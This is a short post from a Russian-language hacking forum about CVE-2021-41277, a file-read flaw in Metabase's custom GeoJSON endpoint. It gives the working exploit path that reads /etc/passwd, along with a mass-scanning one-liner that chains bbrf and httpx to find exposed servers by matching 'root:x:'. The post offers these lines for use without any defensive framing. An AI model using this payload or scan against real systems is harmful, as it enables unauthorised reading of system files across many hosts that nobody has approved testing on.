Код:
/api/geojson?url=file:///etc/passwd
Код:
bbrf ips | httpx -silent -path '/api/geojson?url=file:///etc/passwd' -mc 200 -match-string 'root:x:'-
XSS.stack #1 – первый литературный журнал от юзеров форума
Уязвимость чтения файлов
- Автор темы 0x0021h
- Дата начала
- Автор темы
- Добавить закладку
- #2
CVE-2021-41277 Metabase Custom GeoJSON Map file inclusion